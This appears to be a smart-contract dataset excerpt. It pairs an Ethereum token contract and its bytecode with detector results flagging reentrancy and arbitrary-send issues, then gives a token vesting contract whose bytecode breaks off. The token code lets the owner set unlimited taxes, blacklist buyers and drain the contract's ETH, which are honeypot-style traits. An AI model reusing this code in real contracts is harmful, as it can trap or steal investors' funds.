function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0);
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610595578063c5528490146105b5578063dd62ed3e146105d5578063ea1644d51461061b578063f2fde38b1461063b57600080fd5b80638da5cb5b1461051e5780638f9a55c01461053c57806395d89b41146105525780639e78fb4f1461058057600080fd5b8063790ca413116100dc578063790ca413146104bd5780637c519ffb146104d35780637d1db4a5146104e8578063881dce60146104fe57600080fd5b80636fc3eaec1461045357806370a0823114610468578063715018a61461048857806374010ece1461049d57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d35780634bf2c7c9146103f35780635d098b38146104135780636d8aa8f81461043357600080fd5b80632fd689e314610361578063313ce5671461037757806333251a0b1461039357806338eea22d146103b357600080fd5b806318160ddd116101c157806318160ddd146102e357806323b872dd1461030957806327c8f8351461032957806328bb665a1461033f57600080fd5b806306fdde03146101fe578063095ea7b3146102425780630f3a325f146102725780631694505e146102ab57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060408051808201909152600981526844494e4f564552534560b81b60208201525b6040516102399190611e11565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611cbc565b61065b565b6040519015158152602001610239565b34801561027e57600080fd5b5061026261028d366004611c08565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b757600080fd5b506016546102cb906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102ef57600080fd5b50683635c9adc5dea000005b604051908152602001610239565b34801561031557600080fd5b50610262610324366004611c7b565b610672565b34801561033557600080fd5b506102cb61dead81565b34801561034b57600080fd5b5061035f61035a366004611ce8565b6106db565b005b34801561036d57600080fd5b506102fb601a5481565b34801561038357600080fd5b5060405160098152602001610239565b34801561039f57600080fd5b5061035f6103ae366004611c08565b61077a565b3480156103bf57600080fd5b5061035f6103ce366004611def565b6107e9565b3480156103df57600080fd5b506017546102cb906001600160a01b031681565b3480156103ff57600080fd5b5061035f61040e366004611dd6565b61081e565b34801561041f57600080fd5b5061035f61042e366004611c08565b61084d565b34801561043f57600080fd5b5061035f61044e366004611db4565b6108a7565b34801561045f57600080fd5b5061035f6108ef565b34801561047457600080fd5b506102fb610483366004611c08565b610919565b34801561049457600080fd5b5061035f61093b565b3480156104a957600080fd5b5061035f6104b8366004611dd6565b6109af565b3480156104c957600080fd5b506102fb600a5481565b3480156104df57600080fd5b5061035f6109de565b3480156104f457600080fd5b506102fb60185481565b34801561050a57600080fd5b5061035f610519366004611dd6565b610a38565b34801561052a57600080fd5b506000546001600160a01b03166102cb565b34801561054857600080fd5b506102fb60195481565b34801561055e57600080fd5b506040805180820190915260058152642224a727ab60d91b602082015261022c565b34801561058c57600080fd5b5061035f610a82565b3480156105a157600080fd5b506102626105b0366004611cbc565b610c67565b3480156105c157600080fd5b5061035f6105d0366004611def565b610c74565b3480156105e157600080fd5b506102fb6105f0366004611c42565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062757600080fd5b5061035f610636366004611dd6565b610ca9565b34801561064757600080fd5b5061035f610656366004611c08565b610cd8565b6000610668338484610dc2565b5060015b92915050565b600061067f848484610ee6565b6106d184336106cc85604051806060016040528060288152602001612016602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906114f1565b610dc2565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161070590611e66565b60405180910390fd5b60005b81518110156107765760016009600084848151811061073257610732611fd4565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076e81611fa3565b915050610711565b5050565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161070590611e66565b6001600160a01b03811660009081526009602052604090205460ff16156107e6576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161070590611e66565b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161070590611e66565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b815260040161070590611e66565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107e68161152b565b6001600160a01b03811660009081526002602052604081205461066c90611565565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161070590611e66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b815260040161070590611e66565b601855565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161070590611e66565b601754600160a01b900460ff1615610a1f57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a5857600080fd5b610a6130610919565b8111158015610a705750600081115b610a7957600080fd5b6107e681611593565b6000546001600160a01b03163314610aac5760405162461bcd60e51b815260040161070590611e66565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b0c57600080fd5b505afa158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611c25565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190611c25565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0c57600080fd5b505af1158015610c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c449190611c25565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610668338484610ee6565b6000546001600160a01b03163314610c9e5760405162461bcd60e51b815260040161070590611e66565b600c91909155600e55565b6000546001600160a01b03163314610cd35760405162461bcd60e51b815260040161070590611e66565b601955565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260040161070590611e66565b6001600160a01b038116610d675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610705565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610705565b6001600160a01b038216610e855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610705565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610705565b6001600160a01b038216610fac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610705565b6000811161100e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610705565b6001600160a01b03821660009081526009602052604090205460ff16156110475760405162461bcd60e51b815260040161070590611e9b565b6001600160a01b03831660009081526009602052604090205460ff16156110805760405162461bcd60e51b815260040161070590611e9b565b3360009081526009602052604090205460ff16156110b05760405162461bcd60e51b815260040161070590611e9b565b6000546001600160a01b038481169116148015906110dc57506000546001600160a01b03838116911614155b1561139b57601754600160a01b900460ff1661113a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610705565b6017546001600160a01b03838116911614801561116557506016546001600160a01b03848116911614155b15611217576001600160a01b038216301480159061118c57506001600160a01b0383163014155b80156111a657506015546001600160a01b03838116911614155b80156111c057506015546001600160a01b03848116911614155b15611217576018548111156112175760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610705565b6017546001600160a01b0383811691161480159061124357506015546001600160a01b03838116911614155b801561125857506001600160a01b0382163014155b801561126f57506001600160a01b03821661dead14155b15611295576019548161128184610919565b61128b9190611f33565b1061129557600080fd5b60006112a030610919565b601a5490915081118080156112bf5750601754600160a81b900460ff16155b80156112d957506017546001600160a01b03868116911614155b80156112ee5750601754600160b01b900460ff165b801561131357506001600160a01b03851660009081526006602052604090205460ff16155b801561133857506001600160a01b03841660009081526006602052604090205460ff16155b1561139857601154600090156113735761136860646113626011548661171c90919063ffffffff16565b9061179b565b9050611373816117dd565b6113856113808285611f8c565b611593565b478015611395576113954761152b565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806113dd57506001600160a01b03831660009081526006602052604090205460ff165b8061140f57506017546001600160a01b0385811691161480159061140f57506017546001600160a01b03848116911614155b1561141c575060006114df565b6017546001600160a01b03858116911614801561144757506016546001600160a01b03848116911614155b156114a2576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114a2576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156114cd57506016546001600160a01b03858116911614155b156114df57600d54600f55600e546010555b6114eb848484846117ea565b50505050565b600081848411156115155760405162461bcd60e51b81526004016107059190611e11565b5060006115228486611f8c565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610776573d6000803e3d6000fd5b600060075482111561157657600080fd5b600061158061181e565b905061158c838261179b565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115db576115db611fd4565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561162f57600080fd5b505afa158015611643573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116679190611c25565b8160018151811061167a5761167a611fd4565b6001600160a01b0392831660209182029290920101526016546116a09130911684610dc2565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906116d9908590600090869030904290600401611ec2565b600060405180830381600087803b1580156116f357600080fd5b505af1158015611707573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008261172b5750600061066c565b60006117378385611f6d565b9050826117448583611f4b565b1461158c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610705565b600061158c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611841565b6107e63061dead83610ee6565b806117f7576117f761186f565b6118028484846118b4565b806114eb576114eb601254600f55601354601055601454601155565b600080600061182b6119ab565b909250905061183a828261179b565b9250505090565b600081836118625760405162461bcd60e51b81526004016107059190611e11565b5060006115228486611f4b565b600f5415801561187f5750601054155b801561188b5750601154155b1561189257565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806118c6876119ed565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118f89087611a4a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119279086611a8c565b6001600160a01b03891660009081526002602052604090205561194981611aeb565b6119538483611b35565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161199891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006119c7828261179b565b8210156119e457505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a0a8a600f54601054611b59565b9250925092506000611a1a61181e565b90506000806000611a2d8e878787611ba8565b919e509c509a509598509396509194505050505091939550919395565b600061158c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114f1565b600080611a998385611f33565b90508381101561158c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610705565b6000611af561181e565b90506000611b03838361171c565b30600090815260026020526040902054909150611b209082611a8c565b30600090815260026020526040902055505050565b600754611b429083611a4a565b600755600854611b529082611a8c565b6008555050565b6000808080611b6d6064611362898961171c565b90506000611b8060646113628a8961171c565b90506000611b9882611b928b86611a4a565b90611a4a565b9992985090965090945050505050565b6000808080611bb7888661171c565b90506000611bc5888761171c565b90506000611bd3888861171c565b90506000611be582611b928686611a4a565b939b939a50919850919650505050505050565b8035611c0381612000565b919050565b600060208284031215611c1a57600080fd5b813561158c81612000565b600060208284031215611c3757600080fd5b815161158c81612000565b60008060408385031215611c5557600080fd5b8235611c6081612000565b91506020830135611c7081612000565b809150509250929050565b600080600060608486031215611c9057600080fd5b8335611c9b81612000565b92506020840135611cab81612000565b929592945050506040919091013590565b60008060408385031215611ccf57600080fd5b8235611cda81612000565b946020939093013593505050565b60006020808385031215611cfb57600080fd5b823567ffffffffffffffff80821115611d1357600080fd5b818501915085601f830112611d2757600080fd5b813581811115611d3957611d39611fea565b8060051b604051601f19603f83011681018181108582111715611d5e57611d5e611fea565b604052828152858101935084860182860187018a1015611d7d57600080fd5b600095505b83861015611da757611d9381611bf8565b855260019590950194938601938601611d82565b5098975050505050505050565b600060208284031215611dc657600080fd5b8135801515811461158c57600080fd5b600060208284031215611de857600080fd5b5035919050565b60008060408385031215611e0257600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611e3e57858101830151858201604001528201611e22565b81811115611e50576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f125784516001600160a01b031683529383019391830191600101611eed565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f4657611f46611fbe565b500190565b600082611f6857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8757611f87611fbe565b500290565b600082821015611f9e57611f9e611fbe565b500390565b6000600019821415611fb757611fb7611fbe565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200d0696526a08596040e239869ed2add2c9f94792bee72749a902f249d419aced64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,975 |
0x10E8263F84342f66db45C76f3ae22448B940FbAb
|
/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VictoriaVRVesting {
using SafeMath for uint256;
IERC20 public token;
/**
* Time Zone: UTC
* Start Date: 2022-04-02 08:00:00 AM
* Last Date: 2025-03-02 08:00:00 AM
*/
uint[36] public LockedDateList = [
1648886400, 1651478400, 1654156800, 1656748800, 1659427200, 1662105600,
1664697600, 1667376000, 1669968000, 1672646400, 1675324800, 1677744000,
1680422400, 1683014400, 1685692800, 1688284800, 1690963200, 1693641600,
1696233600, 1698912000, 1701504000, 1704182400, 1706860800, 1709366400,
1712044800, 1714636800, 1717315200, 1719907200, 1722585600, 1725264000,
1727856000, 1730534400, 1733126400, 1735804800, 1738483200, 1740902400
];
uint256 public totalLockedToken;
uint256 public monthUnlockToken;
address public unlockAddress = 0x5cb4d03b656Ca2F8F61A30142F455E92553AF292;
uint256 public firstDate;
uint256 public firstUnlockToken;
bool public isFirstUnlockState;
uint256 public currentUnlockToken;
uint256 public lastUnlockTime;
uint256 public maxUnlockingTimes = 36;
event FirstUnlock(address indexed mananger, uint256 amount);
event MonthUnlock(address indexed mananger, uint256 day, uint256 amount);
modifier unlockCheck() {
if(currentUnlockToken == 0) {
require(
balanceOf() >= totalLockedToken,
"The project party is requested to transfer enough tokens to start the lock up contract"
);
}
require(msg.sender == unlockAddress, "You do not have permission to unlock");
_;
}
constructor(address _token) public {
token = IERC20(_token);
firstDate = 1638432000; // UTC 2021-12-02 08:00:00 AM
uint256 _decimals = token.decimals();
totalLockedToken = (10 ** _decimals).mul(169_491_525_4237288).div(1000_0000); // total 169,491,525.4237288
firstUnlockToken = totalLockedToken.mul(10).div(100); // 10%
monthUnlockToken = totalLockedToken.sub(firstUnlockToken).mul(25).div(1000); // 90% / 36 = 2.5%
}
function blockTimestamp() public view returns(uint256) {
return block.timestamp;
}
function getUnlockedTimes() public view returns(uint256) {
uint256 allTimes;
for(uint i = 0; i < LockedDateList.length; i++) {
if(blockTimestamp() >= LockedDateList[i]) {
allTimes++;
}
}
return allTimes;
}
function balanceOf() public view returns(uint256) {
return token.balanceOf(address(this));
}
function managerBalanceOf() public view returns(uint256) {
return token.balanceOf(unlockAddress);
}
function firstUnlock() public unlockCheck {
require(blockTimestamp() >= firstDate, "It's not time to unlock for the first time");
require(isFirstUnlockState == false, "The first unlocking has been performed, and cannot be repeated");
currentUnlockToken = currentUnlockToken.add(firstUnlockToken);
_safeTransfer(currentUnlockToken);
isFirstUnlockState = true;
emit FirstUnlock(unlockAddress, firstUnlockToken);
}
function monthUnlock() public unlockCheck {
require(balanceOf() > 0, "There is no balance to unlock and withdraw");
uint256 unlockTime = getUnlockedTimes();
uint256 unlockToken;
if(unlockTime >= maxUnlockingTimes) {
unlockToken = balanceOf();
lastUnlockTime = maxUnlockingTimes;
} else {
require(unlockTime > lastUnlockTime, "No current extractable times");
unlockToken = unlockTime.sub(lastUnlockTime).mul(monthUnlockToken);
lastUnlockTime = unlockTime;
}
currentUnlockToken = currentUnlockToken.add(unlockToken);
_safeTransfer(unlockToken);
emit MonthUnlock(unlockAddress, unlockTime, unlockToken);
}
function _safeTransfer(uint256 unlockToken) private {
require(balanceOf() >= unlockToken, "Insufficient available balance for transfer");
token.transfer(unlockAddress, unlockToken);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063a5c38b3d116100a2578063cc85b2cd11610071578063cc85b2cd146101b5578063d1dbaa93146101bd578063efb76eec146101c5578063f29676bc146101cd578063fc0c546a146101e95761010b565b8063a5c38b3d14610164578063adb618321461016c578063b30929cd14610174578063c1cb359c146101985761010b565b8063722713f7116100de578063722713f7146101445780637e7707161461014c5780639d18bc3d14610154578063a4ecfa831461015c5761010b565b80630da635221461011057806348e0cb521461012a5780634bc252f9146101325780635b94a5501461013c575b600080fd5b6101186101f1565b60408051918252519081900360200190f35b6101186101f7565b61013a6101fd565b005b61011861038f565b610118610395565b61013a610412565b610118610602565b610118610608565b61011861060e565b610118610614565b61017c610618565b604080516001600160a01b039092168252519081900360200190f35b610118600480360360208110156101ae57600080fd5b5035610627565b61011861063b565b61011861068c565b6101186106cc565b6101d56106d2565b604080519115158252519081900360200190f35b61017c6106db565b60255481565b60265481565b602b5461024c5760255461020f610395565b101561024c5760405162461bcd60e51b8152600401808060200182810382526056815260200180610ad66056913960600191505060405180910390fd5b6027546001600160a01b031633146102955760405162461bcd60e51b8152600401808060200182810382526024815260200180610b2c6024913960400191505060405180910390fd5b6028546102a0610614565b10156102dd5760405162461bcd60e51b815260040180806020018281038252602a815260200180610a36602a913960400191505060405180910390fd5b602a5460ff161561031f5760405162461bcd60e51b815260040180806020018281038252603e8152602001806109f8603e913960400191505060405180910390fd5b602954602b5461032e916107d0565b602b81905561033c9061082a565b602a805460ff1916600117905560275460295460408051918252516001600160a01b03909216917f1f9e9b9cbbf56bf5c7942576a685bba7b3a5989f7f7e8758d5ef7a1eab8d5c659181900360200190a2565b60285481565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156103e157600080fd5b505afa1580156103f5573d6000803e3d6000fd5b505050506040513d602081101561040b57600080fd5b5051905090565b602b5461046157602554610424610395565b10156104615760405162461bcd60e51b8152600401808060200182810382526056815260200180610ad66056913960600191505060405180910390fd5b6027546001600160a01b031633146104aa5760405162461bcd60e51b8152600401808060200182810382526024815260200180610b2c6024913960400191505060405180910390fd5b60006104b4610395565b116104f05760405162461bcd60e51b815260040180806020018281038252602a815260200180610a8b602a913960400191505060405180910390fd5b60006104fa61068c565b90506000602d54821061051c5761050f610395565b602d54602c55905061059b565b602c548211610572576040805162461bcd60e51b815260206004820152601c60